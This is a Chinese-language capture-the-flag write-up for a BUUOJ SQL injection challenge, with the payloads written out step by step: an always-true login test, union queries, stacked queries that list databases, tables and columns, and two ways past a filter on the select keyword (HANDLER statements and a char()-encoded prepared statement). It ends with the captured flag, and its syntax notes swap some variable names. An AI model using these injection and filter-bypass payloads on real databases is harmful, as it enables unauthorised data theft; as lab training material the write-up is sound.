0x01 题目链接
https://buuoj.cn/challengeshttps://buuoj.cn/challenges
0x02 题型
查询页面
那么先尝试万能钥匙注入
构造payload
1' or 1=1#
发现存在注入点,尝试使用order by,判断的字段数
发现当等于3时,报错,那么字段为2【注:为什么查询末尾变成了--+而不是#,应为#在hackbar里用不了,--+可以,都是注释的意思】
接着使用常规的联合查询语句
构造payload
-1' union select 1,2--+
既然都对关键字过滤了,那么换一种思路,如果用堆叠注入呢
构造payload
-1'; show databases; --+
成功爆出一堆数据库名,尝试爆出表名
构造payload
-1';show tables; --+
查询第一张表的字段:
构造payload
-1';show columns from `1919810931114514`; --+
【注:当表名为数字时,该表名要用魔术引号,即反引号包起来查询】
有flag字段,证明在这个表中
0x03 不同解法
第一种:
因为select关键字被过滤了,那么可以尝试使用handler来进行替代
构造payload
-1';handler `1919810931114514` open as `a`;handler `a` read next;--+
第二种
虽然过滤了关键字,但是mysql有个特性,它支持10进制编码的执行,那么可以尝试把查询语句select进行编码
知识点:
SET @tn = 'hahaha'; //存储表名
SET @sqli = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
构造payload
-1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;--+
flag{49e1b425-331c-44f6-b6cf-bfb92ff68d29}